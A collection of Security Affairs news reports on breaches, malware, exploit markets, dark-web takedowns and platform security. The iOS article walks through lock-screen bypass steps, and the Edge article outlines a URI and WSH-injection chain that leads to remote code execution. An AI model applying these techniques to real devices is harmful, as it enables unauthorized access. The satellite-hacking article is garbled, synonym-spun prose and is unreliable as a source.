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The End-to-End crypto library is a core component of several projects of the IT giant such as the E2EMail, a Chrome app that runs independent of the normal Gmail web interface and allows non-technical users to exchange encrypted text mail over Gmail., In the past, Google shared the E2EMail source code in order to receive the contributions from several security communities. Now Google has now announced that the same project is no more a Google product, instead, it has become a “fully community-driven open source project.”, The decision is probably motivated by the consideration that no one since now has developed a Chrome extension for E2EMail., “E2EMail is not a Google product, it’s now a fully community-driven open source project, to which passionate security engineers from across the industry have already contributed.” reads the blog post published by Google., , “E2EMail offers one approach to integrating OpenPGP into Gmail via a Chrome Extension, with improved usability, and while carefully keeping all cleartext of the message body exclusively on the client. E2EMail is built on a proven, open source Javascript crypto library developed at Google.”, Google is looking forward to receive the support of the security community to integrate E2EMail with other projects., “E2EMail in its current incarnation uses a bare-bones central keyserver for testing, but the recent Key Transparency announcement is crucial to its further evolution,” continues the post. “Key discovery and distribution lie at the heart of the usability challenges that OpenPGP implementations have faced. Key Transparency delivers a solid, scalable, and thus practical solution, replacing the problematic web-of-trust model traditionally used with PGP.”, Pierluigi Paganini, (Security Affairs – Google, encryption)

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Almost every IT giant has launched its bug bounty program, the last in order of time is Apple that last week announced the initiative during the Black Hat Conference., How much is a vulnerability in Apple product?, The awards are very interesting, bug hunters can earn up to $200,000 for a critical vulnerability affecting the secure boot firmware components, up to $100,000 for a flaw that could be exploit to extract sensitive data protected by the Secure Enclave, up to $50,000 for arbitrary code execution with kernel privileges and unauthorized access to iCloud account data, and up to $25,000 for access from a sandboxed process to user data outside the sandbox., But we all know that zero-day market is crowded by private firms and nation-state actors that could decide to pay much more for an exploit of unknown flaws in most popular products., The zero-day broker company Exodus Intelligence has announced its new acquisition programme for both vulnerabilities and exploits., Today, Exodus Intelligence has unveiled the new Research Sponsorship Program (RSP), focused on acquiring vulnerability research and exploits from the global cybersecurity research community. While continuing to acquire Zero-Day research, the RSP is the first widely available acquisition program to offer bounties for exploits that exercise N-Day vulnerabilities.” reads the official statement released by the firm., “Exodus is also excited to be rolling out a new bonus structure for the acquisition of research that leads to Zero-Day vulnerabilities.”, Exodus will share details of vulnerabilities and exploits to customers who pay a subscription fee of roughly $200,000 per year., Let’s compare the awards offered by the company with the Apple ones., iOS vulnerabilities are paid by Exodus more than double Apple’s maximum payout, the bug-hunting company will pay a maximum of $500,000 for zero-day in iOS 9.3 or above., , Now it is clear that a bug hunter searching for a remuneration for his efforts will contact companies like Exodus, instead IT giants like Apple because their bug bounty programs pay more for 0-day exploits., There is also another incentive for bug hunters that will contact Exodus, the company will pay an extra cash for every quarter that the zero-day is still effective., “For each new Zero-Day acquired, Exodus will offer the researcher an initial payment, received after the request is reviewed and accepted. Once accepted, the researcher could receive payments every quarter the Zero-Day exploit is still alive. The specific values of the initial payment and quarterly bonus will be included in an offer presented to the researcher, following the review of their work. Additionally, Exodus also offers payment in the form of Bitcoin for Zero-Day research.” continues the announcement., Speaking about Apple zero-day exploits, let’s remind that last year the zero-day vendor Zerodium paid a $1 million payout for disclosing a iOS zero-day vulnerability that could allow an attacker to remotely hack any Phone., The bug bounty program launched by Exodus is open, everyone can submit vulnerabilities to the company, meanwhile, other programs are by invitation-only., For further information on Exodus’ program give a look at the new RSP website., Pierluigi Paganini, (Security Affairs – bug bounty program, hacking)

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Code-signing certificates are precious commodities in the dark web, according to a new study conducted by American and Czech researchers and Symantec Labs technical director Christopher Gates their trade is a flourishing business., The experts pointed out that the demand for code-signing certificates is increased because vxers have started using them to bypass security solutions such as Microsoft’s Windows Defender SmartScreen., “While prior studies have reported the use of code-signing certificates that had been compromised or obtained directly from legitimate Certification Authorities, we observe that, in 2017, these methods have become secondary to purchasing certificates from underground vendors.” states the research paper published by the experts. , “We also find that the need to bypass platform protections such as Microsoft Defender SmartScreen plays a growing role in driving the demand for  Authenticode certificates. Together, these findings suggest that the trade in certificates issued for abuse represents an emerging segment of the underground economy.”, The experts conducted an in-depth analysis of this underground trade, considering vendors, malware developers, and certificate issuers, focusing their investigation on the vendor’s market share and the factors that most of all drive the demand in the market. The experts inspected 28 forums, 6 link directory websites, 4 general marketplaces and dozens of websites treating black market goods., They identified four leading vendors of code-signing certificates, one of them named Codesigning Guru set up his own e-shop in August 2017. The researchers regularly collected stock information in a 104 day-period and analyzed the sales. The e-shop obtained a new certificate every two days, on average, and collected $16,150 in revenue for selling these certificates. A new codesigning certificate generally trades for a few hundred dollars. Extended Validation (EV) code-signing certificates can also be purchased for a few thousand dollars each, sellers provide the 2FA hardware tokens they are bound to them being shipped by post., Microsoft Defender SmartScreen is a reputation-based system, every time encounters a certificate for the first time, it will raise a warning the user has to click-through during installation., To avoid warning being displayed the attackers need a positive reputation for the certificate, this could be obtained by first using it to sign benign programs and installing them on many client machines., The price for Extended Validation code-signing certificates is higher because they came with a positive SmartScreen reputation. The prices for EV certificates range from $1,600 up to $7,000 for certificates with the best SmartScreen reputation., “EV certificates are much more expensive. Earlier posts by vendor C list the price of $1600 while more up-to-date posts by the same vendor C offer EV certificates for $3000. Vendor B sells EV certificates for $2500 (both in the forums and in the Codesigning Guru e-shop).” continues the paper. , “This high price is probably due to the extensive vetting process and the fact that the 2FA hardware token needs to be send by post to the customer that buys the EV certificate.”, The researchers also analyzed the publishers noted in the certificates using the beta version of the British public register of companies and the result was suspicious., The doubt is that some companies were set up specifically for certificate abuse., “All of the publishers were rather young companies, some of them being incorporated around a month before their code-signing certificate was issued and most of those did not have software development as their primary focus.” continues the paper., Researchers noticed that most of the activity was originated in Russia., , Certificate Authorities have to vet applicants with care and once a malicious publisher is identified all certificates from that publisher should be revoked., Pierluigi Paganini, (Security Affairs – code-signing certificates, malware)

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According to Bitdefender experts, vxers have improved the threat across the years, implementing credential harvesting features as well as social media account monitoring functionality., The Terdot banking Trojan is based on the Zeus code that was leaked back in 2011, the authors have added a number of improvements, such as leveraging open-source tools for spoofing SSL certificates and using a proxy to filter web traffic in search of sensitive information., “Terdot is a complex malware. Its modular structure, complex injections, and careful use of threads make it resilient, while its spyware and remote execution abilities make it extremely intrusive.” states the report published by BitDefender., The ability of the Trojan in powering man-in-the-middle attacks could be exploited also to manipulate traffic on most social media and email platforms., The Terdot banking Trojan implements sophisticated hooking and interception techniques, experts highlighted its evasion capabilities., The banking Trojan is distributed mainly through compromised websites hosting the SunDown Exploit Kit. The Bitdefender researchers observed crooks spreading it through spam emails with a bogus PDF icon button which, if selected, executes JavaScript code that drop the malware on the victim’s machine., , Once installed on the victim’s machine, the Terdot banking Trojan downloads updates and commands from the C&C server, the URL it the same it sends system information to. The Trojan also used a Domain Generation Algorithm (DGA)., “Terdot goes above and beyond the capabilities of a banker Trojan. Its focus on harvesting credentials for other services such as social networks and email service providers could turn it into an extremely powerful cyber-espionage tool that is extremely difficult to spot and clean,” Bitdefender concludes., Pierluigi Paganini, (Security Affairs – Terdot banking Trojan, malware)

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The tension between Russia and Ukraine also has repercussions in the cyberspace where Russia Today, Russian principal news channel website (RT.com) has been hacked and defaced by an unknown group of hackers., The media agency confirmed the attack with a tweet from its official account:, “RT website has been hacked, we are working to resolve the problem,” , , The hackers have replaced the words “Russia” and “Russians” with “Nazi” or “Nazis”, the defacement is visible in the following image., , The modification to the Russia Today website were visible for nearly 30 minutes, one of the changed headline stated:, “Nazi nationalist leader call on ‘most wanted'” , Who is behind the attack?, It is still unclear, recently the popular collective Anonymous invited its followers to join in the hacking operation dubbed #OpRussia in support of the Ukrainian protesters. Under the #OpRussia campaign the group of hacktivists has hacked hundreds of Russian websites., The principal Russian media agency has been hacked by unknown attackers just after Putin’s order to move troops to Crimea was approved by the Parliament., The attack on the pro-Kremlin news organization is successive to the approval for the use of military force in Ukraine’s Crimea by Russian parliament., What to expect in the future … cyber experts have no doubts, it is the beginning of a silent cyber war between Russia and Ukraina, on one site hackers pro-Ukraine will intensify their activities while Russian cyber units will increase their offensives against Ukrainian opposites. I made a rapid tour on principal social media, I noted that on both side has started a misinformation campaign, on the one hand, Putin’s supporters are publishing disconcerting stories and images about atrocities committed by Ukrainian in Crimea, on the other side  of Putin it is possible to read everything., Pierluigi Paganini, (Security Affairs –  Russia Today, Information Warfare)

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A number of bypass vulnerabilities still affect iOS devices and could be exploited by an attacker to bypass the passcode authorization screen on Apple mobile devices (iPhones and iPads) running iOS 9.0, 9.1, and the recent 9.2.1., According to Benjamin Kunz Mejri, a researcher at Vulnerability Lab, this category of security holes can be exploited to access apps native to iOS, such as Clock, Event Calendar, and Siri’s User Interface., In February, Benjamin Kunz Mejri discovered  an authentication bypass-sized hole in both  iPhones and iPads running iOS 8 and iOS 9 that can be exploited by attackers to thwart lock screen passcode., “An application update loop that results in a pass code bypass vulnerability has been discovered in the official Apple iOS (iPhone5&6|iPad2) v8.x, v9.0, v9.1 & v9.2. The security vulnerability allows local attackers to bypass pass code lock protection of the apple iphone via an application update loop issue. The issue affects the device security when processing to request a local update by an installed mobile ios web-application.” states the technical description published by the vulnerability-lab.com., The attacker can bring the  iOS devices into an unlimited loop resulting in a temporarily deactivate of the pass code lock screen., The real problem is that they are underestimated by manufacturers because the attack request the physical presence of the attackers which have to be in possession of the device, in the specific case the flaw is still present after it was reported three months ago (2016-01-03: Researcher Notification & Coordination (Benjamin Kunz Mejri – Evolution Security GmbH)), “The issue is not fixed after a three-month duration. We have the newest versions of iPad and iPhone and are still able to reproduce it after the updates with default configuration,” Mejri told Threatpost Monday., This time Mejri described a number of attack vectors relying on an internal browser link request to skip the passcode screen., In a first scenario, an attacker could request Siri to open an app that doesn’t exist, at this point Siri  will open a restricted browser window to the App Store, but from there the attacker could switch back to the home screen, either via the home button, or via Siri., , In the second scenario the attacker is using the control panel to gain access to the non restricted clock app. The attacker opens the app via siri or via panel and opens then the timer to the end timer or Radar module. The app allows users to buy more sounds for alerts and implemented a link, but if the attacker pushes the link a restricted app store browser window opens. At that point we are in the same situation of the first attack vector., In the third scenario, the attacker opens via panel or by a Siri request the clock app. The internal world clock module includes in the bottom right is a link to the weather channel that redirects users to the store as far as its deactivated. By pushing the link also in this case a restricted appstore browser window opens., “At that point it is possible to unauthorized switch back to the internal home screen by interaction with the home button or with siri again. The link to bypass the controls becomes visible in the World Clock (Weather Channel) and is an image as link. Thus special case is limited to the iPad because only in that models use to display the web world map. In the iPhone version the bug does not exist because the map is not displayed because of using a limited template. The vulnerability is exploitable in the Apple iPad2 with iOS v9.0, v9.1 & v9.2.1.” wrote Mejri., In the fourth scenario the attacker opens via Siri the ‘App & Event Calender’ panel, then he opens under the Tomorrow task the ‘Information of Weather’ (Informationen zum Wetter – Weather Channel LLC) link on the left bottom. The weather app is deactivated on the Apple iOS device, a new browser window opens to the AppStore, at that point we are in the same scenario seen in the other point., , It’s unclear when Apple will fix the issues. it is possible that the flaws will be solved with the iOS 9.3., Pierluigi Paganini, (Security Affairs – iOS, Siri)

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On Friday, the US banking regulator told Congress about a potential “major information security incident” after it discovered that a former employee has downloaded a large number of files onto thumb drives before his retirement in November 2015., According to the Office of the Comptroller of the Currency, there was no evidence that suggests that the former employee has publicly disclosed the data neither he has misused it., The Office of the Comptroller is tasked with protecting consumers and the regular activity on financial markets., , The banking regulator confirmed the former employee downloaded a large number of files onto two removable thumb drives, the stolen information was encrypted.  According to the Office of the Comptroller of the Currency, the security breach was only detected last month after a routine security assessment., The OCC reported that when the former employee was contacted by the Agency, he “was unable to locate or return the thumb drives to the agency.”, “The OCC has deemed the breach a “major incident” because the devices containing the information are not recoverable and more than 10,000 records were removed, the agency said.” reported the Reuters. , “An official familiar with the investigation declined to comment on a possible motive. The official, who was not authorized to discuss the case, noted that a large batch of unclassified personnel records were among the cache.”, Experts have downplayed the risks for the users arguing that the information was not released to unauthorized sources.It is quite frequent that employees or consultants report missing thumb drives containing sensitive data., It is quite frequent that employees or consultants report missing thumb drives containing sensitive data., Recently the National Security Agency went in the headlines again after a contractor was accused of having harvested high-confidential information from the Agency systems., Pierluigi Paganini, (Security Affairs – Office of the Comptroller of the Currency, security breach)

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Google experts worked on OS hardening and the implementation of anti-exploitation mechanisms with a great attention to the user privacy., The tech giant updated the File-Based Encryption implementing the support for external storage media, it also included the metadata encryption with hardware support. , Android 9 also implements a new BiometricPrompt API, to have the biometric authentication dialogs that apps can display look the same. , Android 9 also comes with new protections for the Application Sandbox., “New protections and test cases for the Application Sandbox help ensure all non-privileged apps targeting Android Pie (and all future releases of Android) run in stronger SELinux sandboxes.” reads a post written byVikrant Nanda and René Mayrhofer from Android Security & Privacy Team., “By providing per-app cryptographic authentication to the sandbox, this protection improves app separation, prevents overriding safe defaults, and (most significantly) prevents apps from making their data widely accessible.”, Android Pie introduces the Control Flow Integrity (CFI) enabled by default, it is a security mechanism that disallows changes to the original control flow graph of compiled code. CFI has been enabled by default within the media frameworks and other security-critical components, including Near Field Communication (NFC) and Bluetooth protocols. , Google also introduced the Integer Overflow Sanitization in Android 9, a security technique to mitigate memory corruption and information disclosure vulnerabilities that are the result of integer operations. , Google continued the investments in hardware-backed security, Android 9 implements the Android Protected Confirmation, which is the first major mobile OS API that leverages a hardware-protected user interface (Trusted UI) to perform critical transactions completely outside the main mobile operating system., Google also introduced the support for a new Keystore type that implements stronger protection for private keys via tamper-resistant hardware with dedicated CPU, RAM, and flash memory. , Google also improved the Keystore by adding Keyguard-bound keys, Secure Key Import, 3DES support, and version binding., Google also enhanced user privacy by limiting the access in background apps to the camera, microphone, and device sensors. Android Pie implements support for encrypting Android backups with the user’s screen lock secret (that is, PIN, pattern, or password). , Android 9 has new permission rules and permission groups for phone calls, phone state, and Wi-Fi scans, and with restrictions on information retrieved from Wi-Fi scans. , Android changed the default settings for Network Security Configuration to block all unencrypted HTTP connections. , “We believe that the features described in this post advance the security and privacy posture of Android, but you don’t have to take our word for it. Year after year our continued efforts are demonstrably resulting in better protection as evidenced by increasing exploit difficulty and independent mobile security ratings.” concluded Google., Pierluigi Paganini, (SecurityAffairs – Android Pie, security ),

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The FBI announced that the Bureau is investigating media reports of cyber attacks on US banks and financial firms, but law enforcement hasn’t provided further information on the incidents neither on the affected companies., “We are working with the United States Secret Service to determine the scope of recently reported cyber attacks against several American financial institutions,” said FBI spokesman Joshua Campbell., JPMorgan Chase & Co is one of the company recently targeted by cyber attack, according post published by the Reuters agency, which refers as source two people familiar with the incident who asked not to be identified because they were not authorized to speak publicly about the matter., Also other media reported the cyber attacks on US banking industry, The New York Times reported late on Wednesday that systems of  JPMorgan and at least other four US banks had been compromised in a series of targeted attacks in August., , JPMorgan was still investigating on the cyber attacks, at time the time I’m writing, the are no information on the effects of the incident, JPMorgan spokesman Brian Marchiony declined comment the events., “Companies of our size unfortunately experience cyber attacks nearly every day. We have multiple, layers of defense to counteract any threats and constantly monitor fraud levels,” he said in a statement., Bloomberg News published an article that speculates on the author of the attack, the media agency suspect the involvement of a Russian cyber gang, which has carried out cyber attacks against JPMorgan Chase and another unnamed financial institutions in August., According Bloomberg the attacks caused the disclosure of a huge amount of sensitive data, including checking and savings account information:, “Russian hackers attacked the U.S. financial system in mid-August, infiltrating and stealing data from JPMorgan Chase & Co. (JPM) and at least one other bank, an incident the FBI is investigating as a possible retaliation for government-sponsored sanctions, according to two people familiar with the probe. The attack resulted in the loss of gigabytes of sensitive data,”, Law enforcement is investigating whether recent attacks of major European banks are linked to the attacks on US banking industry, in particular if threat actors exploited a similar vulnerability in the recent attacks. According to Bloomberg the hackers exploited a zero-day vulnerability in one of the banks’ websites., The Times report reported that several private security firms have been hired to conduct forensic analysis of the breached networks., Pierluigi Paganini, (Security Affairs – JPMorgan, banking)  

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We have a long debated the use of unregulated virtual currencies like Bitcoin in the criminal underground. Virtual currencies have a crucial role in facilitating illicit commerce, it is normal that their fluctuation could have a significant impact on the criminal ecosystem. The recent spike in the price of Bitcoin and the fees associated with each transaction are making Bitcoin a less useful payment method in the cybercrime underground., Originally, one of the points of strength for Bitcoin was that payments would be fast, cheap, and convenient. This was true until the beginning of this year when Bitcoin fees were often less than $0.10., , The spike in the Bitcoin value and related fees per transaction has made Bitcoin far less attractive for conducting small-dollar transactions that represent the vast majority of payments in the criminal underground., “As a result, several major underground markets that traffic in stolen digital goods are now urging customers to deposit funds in alternative virtual currencies, such as Litecoin. Those who continue to pay for these commodities in Bitcoin not only face far higher fees, but also are held to higher minimum deposit amounts.” wrote the popular investigator and security blogger Brian Krebs., Krebs cited as an example the case of the black marketplace “Carder’s Paradise” that he recently analyzed, well its administrators admitted difficulties due to the spike in the value of Bitcoin., Krebs explained that the current minimum deposit amount on Carder’s Paradise is 0.0066 BTCs (roughly USD $100). The deposit fee for each transaction is $15.14, this means that every time a user of the black market deposits the minimum amount into this shop is losing approximately 15 percent his deposit in transaction fees., “The problem is that we send all your deposited funds to our suppliers which attracts an additional Bitcoin transaction fee (the same fee you pay when you make a deposit),” Carder’s Paradise explains. “Sometimes we have to pay as much as 5$ from every 1$ you deposited.”, “We have to take additionally a ‘Deposit fee’ from all users who deposit in Bitcoins. This is the amount we spent on transferring your funds to our suppliers. To compensate your costs, we are going to reduce our prices, including credit cards for all users and offer you the better bitcoin exchange rate.”, “The amount of the Deposit Fee depends on the load on the Bitcoin network. However, it stays the same regardless of the amount deposited. Deposits of 10$ and 1000$ attract the same deposit fee.”, “If the Bitcoin price continues increasing, this business is not going to be profitable for us anymore because all our revenue is going to be spent on the Bitcoin fees. We are no longer in possession of additional funds to improve the store.”, “We urge you to start using Litecoin as much as possible. Litecoin is a very fast and cheap way of depositing funds into the store. We are not going to charge any additional fees if you deposit Litecoins.”, In the case of the Carder’s Paradise, the huge volume of transactions allowed the administrators to lower the price of stolen credit cards to compensate the increase of the transaction fees, but it is an exceptional scenario., “Our team made a decision to adjust the previous announcement and provide a fair solution for everyone by reducing the credit cards sic prices,” the message concludes., Transaction fees are too high and operators of black marketplaces could be forced to refuse payments in Bitcoin., Pierluigi Paganini, (Security Affairs – Bitcoin price, criminal underground)

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The October 2018 Patch Tuesday addressed 50 known vulnerabilities in Microsoft’s products, 12 of them were labeled as critical. One of the issues is a critical remote code execution vulnerability in Edge web browser tracked as CVE-2018-8495., “A remote code execution vulnerability exists when Windows Shell improperly handles URIs, aka “Windows Shell Remote Code Execution Vulnerability.” This affects Windows Server 2016, Windows 10, Windows 10 Servers.” reads the description for the flaw., The security researcher Abdulrahman Al-Qabandi who discovered the flaw, was investigating the way it is possible to launch the default mail client from the browser by clicking on a URL that looks like ‘mailto:[email protected]‘., Once clicked on the link in Microsoft Edge browser, a prompt will be displayed to the user whether to switch applications., The expert examined the simple response to the ‘mailto’ URI scheme in Microsoft Edge and noticed that Outlook would launch with a certain parameter., , By searching for executables that accepted user-defined commands in Windows Registry, the expert found Windows Script Host (‘WScript.exe’), which can execute scripts in multiple languages., “A URI scheme that passes user tainted arguments directly to 'WScript.exe'. In case you don’t know: “Windows Script Host provides an environment in which users can execute scripts in a variety of languages that use a variety of object models to perform tasks.” Let’s see what happens if a user navigates to ‘wshfile:test’ from Edge.” states the expert., The expert tested the URI scheme ‘wshfile:test‘ in Microsoft Edge, the underlying operating system asks the user for an app to handle the procedure and Windows Script Host (WSH) is the default handler., Al-Qabandi attempted to execute file located in a certain patch he passed to ‘WScript.exe,’ for example ‘C:\WINDOWS\system32\wshfile:test’, but it does not exist., He discovered that it was the possibility to use a path traversal trick the would have WSH load a VBScript from an arbitrary location., “Awesome! We can now point to any file in any directory and so long as we can drop a file in a predictable location, we will have RCE,” the researcher explained. , “But that is easier said than done, looked like most if not all cached files from Edge go into a salted directory location. In other words, we could plant files but we can’t predict their location. “, To predict the location of the files planted in the system the expert used findings of a previous research by Matt Nelson that showed how to do it using a particular signed VBScript that suffered from “WSH Injection.”, Al-Qabandi’s searched for every single VBS file in Windows that accepts any parameters like ‘SyncAppvPublishingServer.vbs.’, it can also execute commands via PowerShell without filtering them., The user will only see the result of the command because PowerShell runs in hidden mode (command line argument ‘-WindowStyle Hidden’)., “This specific script takes in a few arguments and passes them into a powershell.exe shell execution without filtering it, allowing us to inject arbitrary commands.” continues the expert., “And we can influence the value of ‘syncCmd‘ but not only that, Edge also does not sanitize quotation marks, so we can pass as many parameters to ‘WScript.exe’ as we want. Again, conveniently this powershell will run hidden as indicated by ‘-WindowStyle Hidden’ which makes this a perfect WSH injection vector”, Al-Qabandi published a proof-of-concept (PoC) script for the Microsoft Edge Remote Code Execution vulnerability., , He reported the poc code privately to Microsoft through Trend Micro’s Zero Day Initiative program, below a video PoC shared by the expert with BleepingComputer.,  , Pierluigi Paganini, (Security Affairs – Microsoft Edge, Remote Code Execution)

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The recent shutdown of several black market places in the Tor network, including the popular SilkRoad 2.0, has captured the attention of media of the extension of illegal activities in the part of the web so called Deep Web. The Operation Onymous coordinated by Europol’s European Cybercrime Centre (EC3) has dealt a major blow to organized crime, intent to exploit the anonymizing networks like Tor., Following the euphoria of the success of the operation by the police of many countries, privacy and security experts have begun to question how the police were able to locate the servers hosting hidden services and operators who ran the illegal activities. Members of the Tor project published a blog post titled Thoughts and Concerns about Operation Onymous, in which they try to explain how low enforcement managed to locate the hidden services., “Over the last few days, we received and read reports saying that several Tor relays were seized by government officials. We do not know why the systems were seized, nor do we know anything about the methods of investigation which were used.” states the post., they hypothesized that law enforcement has exploited one of the following scenarios:, The anonymity of the location of a server behind a hidden service is ensured under the following conditions:, An attacker that is able to exploit a vulnerability in the web server or in the web application (e.g. the e-commerce system exposed by the operators to propose the illegal products) could easily hack the targeted hidden service., For example the presence of an SQL injection flaw could give the access to many functions of the hidden service, could allow attacker to dump its database., The list of dark markets seized by law enforcement includes Alpaca, Black Market, Blue Sky, Bungee 54, CannabisUK, Cloud Nine, Dedope, Fake Real Plastic, FakeID, Farmer1, Fast Cash!, Flugsvamp, Golden Nugget, Hydra, Pablo Escobar Drugstore, Pandora, Pay Pal Center, Real Cards, Silk Road 2.0, Smokeables, Sol’s Unified USD Counterfeit’s, Super Note Counter, Tor Bazaar, Topix, The Green Machine, The Hidden Market and Zero Squad., Security Researcher at Kaspersky, Stefan Tanase and Sergey Lozhkin wrote an interesting blog post that analyzes the impact over the Dark Web of the operation conducted by law enforcement recently., According to the researchers the takedown affected a limited number of Onion sites, just 5 percent, meanwhile nearly 21 percent are still alive and 74 percent of the onion addresses are offline., “Right now there are 4 times more hidden websites online in the Tor network than those that were shutdown.” states the researchers in the post., Security experts consider the effect as transient, unfortunately, the cybercrime is quite impossible to eradicate completely, and the researchers are conscious that new illegal services soon will replace the website that are taken down., Experts at Kaspersky have analyzed the number of hidden services being set-up after the takedown related to the Operation Onymous, in the following graph represents the amount of new .onion addresses appearing each day and it is evident a spike just after the operation of law enforcement., , The analysis of the lifetime of the Onion-sites which were taken down in the Operation Onymous shows that the majority of the targeted website were alive for at least 200 days on average, but usually not more than 300 days.,  , The experts at Kaspersky explained that to de-anonymize Tor users, it is possible to compromise a poorly configured server or the web application it exposes, this means that there is no need to search and exploit an alleged vulnerability in Tor architecture., The researchers state that to locate a physical location of a server is it possible to compromise it installing a backdoor, for example exploiting a vulnerability in a third-party application used by a dark marketplace., Another possibility for law enforcement is to try to compromise the machine of the administrator, localized through ordinary investigations, of an illegal website with spyware, in this way the agents access to its machine and steal information on his activities and network of contacts., “This could be easier than it seems: for example, if a vulnerability is found in a hidden service, it is possible to rig it’s admin page with an exploit and wait for when the drug shop administrator will access his site. Then he would be infected with malware as a result of this highly targeted waterhole attack.” states the post., The researchers also mentioned the possibility to infiltrate the operators of the dark market or hit them with spear-phishing, Resuming … none really knows how law enforcement has localized the server behind the illegal hidden services., Pierluigi Paganini, (Security Affairs –  Deep Web, law enforcement,  Operation Onymous)

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our-team

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Digital signals can be conveyed to certain places by satellites where the Internet appears like a wonder: off-the-network desert sunlight based homesteads, the Arctic or a plane carrying warship adrift. Be that as it may, in radiating information to and from the world’s most remote spots, satellite Internet might likewise offer its signals to a less generous beneficiary: any advanced scoundrel inside of a large number of miles., In a presentation at the Black Hat security gathering in Arlington, Va., Tuesday, Spanish cybersecurity specialist Leonardo Nve introduced a mixed bag of traps for obtaining entrance to and abusing satellite Internet associations. Utilizing not even exactly $75 as a part of devices, Nve, a scientist with security firm S21Sec, says that he can catch Digital Video Broadcast (DVB) signs to get free rapid (extremely high speed) Internet., , Keeping in mind that is not an especially new trick – hackers have long possessed the capacity to capture satellite TV or other sky-borne signals–Nve likewise went above and beyond, depicting how he found himself able to utilize satellite single waves to anonymize his Internet, get entrance to private systems and even block satellite Internet clients’ solicitations for Web pages and supplant them with ridiculed sites., Nve said, “What’s interesting about this is that it’s very, very easy”. “Anyone can do it: phishers or Chinese hackers … it’s like a very big Wi-Fi network that’s easy to access”, the researcher added., In an entrance test on a customer’s system, Nve utilized a Skystar 2 PCI satellite collector card, a bit of equipment that can be purchased on eBay ( EBAY – news – individuals ) for 30 USD or even less, alongside open source Linux DVB programming applications and the system information investigation or “sniffing” program Wireshark., Abusing that signal wave, Nve says he found himself able to mimic any client associating with the Internet by means of satellite, viably making a fast, untraceable mysterious Internet connection that can be utilized for loathsome online exercises., Nve likewise turned around the trap, imitating Web destinations that a satellite client is intercepting so as to end to visit a Domain Name System (DNS) request–a demand for an Internet administration supplier (aka ISP) to change over a spelled out website name into the numerical IP address where it’s stored–and sending back an answer quicker than the ISP. That permits him to supplant a webpage that the target explores to straightforwardly with a website of his picking, making the potential for imperceptible cybercrime locales that take passwords or introduces malignant programming., In his tests on the target’s system, Nve says he was additionally all good to capture signs utilizing GRE or TCP conventions that endeavors utilization to impart in the middle of PCs and servers or between workplaces, utilizing the connections for obtaining entrance to an organization or government office’s neighborhood., The Barcelona-based security specialist tried his techniques with respect to geosynchronous satellites targeted at Europe, Africa and South America. Yet, he says there’s little uncertainty that the same traps would take a shot at satellites confronting North America or any other place., What makes his assaults conceivable, Nve says, is that DVB digital signs are normally left decoded. That absence of straightforward security, he says, comes from the logistical and lawful difficulties of scrambling the signals, which may make it harder to share information among organizations or offices and–given that a satellite signal wave spreads to numerous countries–could keep running into formality encompassing worldwide utilization of cryptography. “Each country can surely have its own particular law for crypto,” says Nve. “It’s less demanding not to have encryption at the DVB layer.”, Nve isn’t the first to demonstrate the defenselessness of satellite connections that are believed to be secure. John Walker, a British satellite aficionado, told the BBC in 2002 that he could watch decoded NATO feature sustains from observation fights in the Balkans. What’s more, the same absence of encryption permitted radicals to hack into the feature food of unmanned U.S. automaton planes scouting Afghanistan, the Wall Street Journal reported back in December., Truth be told, the tricks that Nve showed are likely known to satellite programmers however never promoted, says Jim Geovedi, a satellite security scientist and expert with the firm Bellua in Indonesia. He contrasts satellite hacking with right on time telephone hacking or “phreaking,” a practice that is not all around ensured against but rather performed by just a little number of individuals around the world. “This satellite hacking thing is still considered blackbox learning,” he wrote in an email to Forbes. “I accept there are numerous individuals out there who conduct comparative exploration. They may have some cool traps however have kept them mystery for a long time.”, Finally year’s Black Hat D.C. gathering, British cybersecurity analyst Adam Laurie exhibited how he blocks satellite signal waves with systems like Nve, utilizing a DreamBox satellite collector and Wireshark. However, Nve contends that his strategy is far cheaper–Laurie’s DreamBox setup costs around $750–and that he’s the first to show satellite signal commandeering (Hijacking in simple words) as opposed to just interception., Written by: Ali Qamar, Founder/Chief Editor at SecurityGladiators.com, Author Bio: Ali Qamar is an Internet security research enthusiast who enjoys “deep” research to dig out modern discoveries in the security industry. He is the founder and chief editor at Security Gladiators, an ultimate source for cyber security. To be frank and honest, Ali started working online as a freelancer and still shares the knowledge for a living. He is passionate about sharing the knowledge with people, and always try to give only the best. Follow Ali on Twitter @AliQammar57, Pierluigi Paganini, (Security Affairs – Satellite, hacking)

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Cyber espionage is the first concern of government, China and US exchanged in the months reciprocal accusations on a series of hacking campaign conducted with the purpose of stealing sensitive information., According to the People’s Daily agency, China has excluded American Symantec Corp and Russian Kaspersky Lab from a list of approved defensive software suppliers, the decision seems to be in line with the decision of Chinese Government to limit the use of foreign technology fearing cyber espionage., The government’s procurement agency “has excluded Symantec & Kaspersky” from a list of security software suppliers, while it has approved the supply of other five Chinese anti-virus software brands:, In time I’m writing, Kaspersky representatives revealed that the company is working with the Chinese Government understand the reason of the exclusion, while Symantec hasn’t commented the decision., “We are investigating and engaging in conversations with Chinese authorities about this matter. It is too premature to go into any additional details at this time.” said Kaspersky spokesman, Alejandro Arango., The Reuters media agency revealed last week the Government of Beijing has updated the list of technology vendors whose products are approved for use by the nation’s massive central government. It is obvious that the decision is also a direct consequence of Snowden leaks that revealed the aggressive conduct of the NSA in cyber espionage on foreign states., , Many documents released by Edward Snowden revealed that the NSA was implanting backdoors in hardware and software product to maintain persistence on the products sold to foreign governments by US companies, for this reason Chinese authorities are promoting the use of Chinese IT products, It is not the first time that Symantec was involved in dispute between China and US, in the past the company decided to break its joint venture with Huawei fearing repercussion on its business with the US Government., “The company Symantec does not break out sales in China. Revenue in its Asia Pacific region dropped 10 percent to $1.2 billion in its most-recent fiscal year, which ended in March. Other U.S. firms including Cisco Systems Inc, International Business Machines Corp and Microsoft Corp have encountered challenges in China since Snowden began leaking documents about U.S. surveillance programs last year.” states the Reuters., This decision comes a few months after the Chinese authorities have banned the use of Windows 8 for Government Computers, the ban is not extended to private environment and its reason is officially the fear to lose support for the operating system once dismissed like it is happening with Windows XP., Pierluigi Paganini, (Security Affairs –  China, cyber espionage)  

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The only way to prevent such attacks it to improve security with adoption of real-time intelligence systems that can help security experts to quickly identify malicious One Day Wonders., Pierluigi Paganini, (Security Affairs – One Day Wonders, cybercrime)  

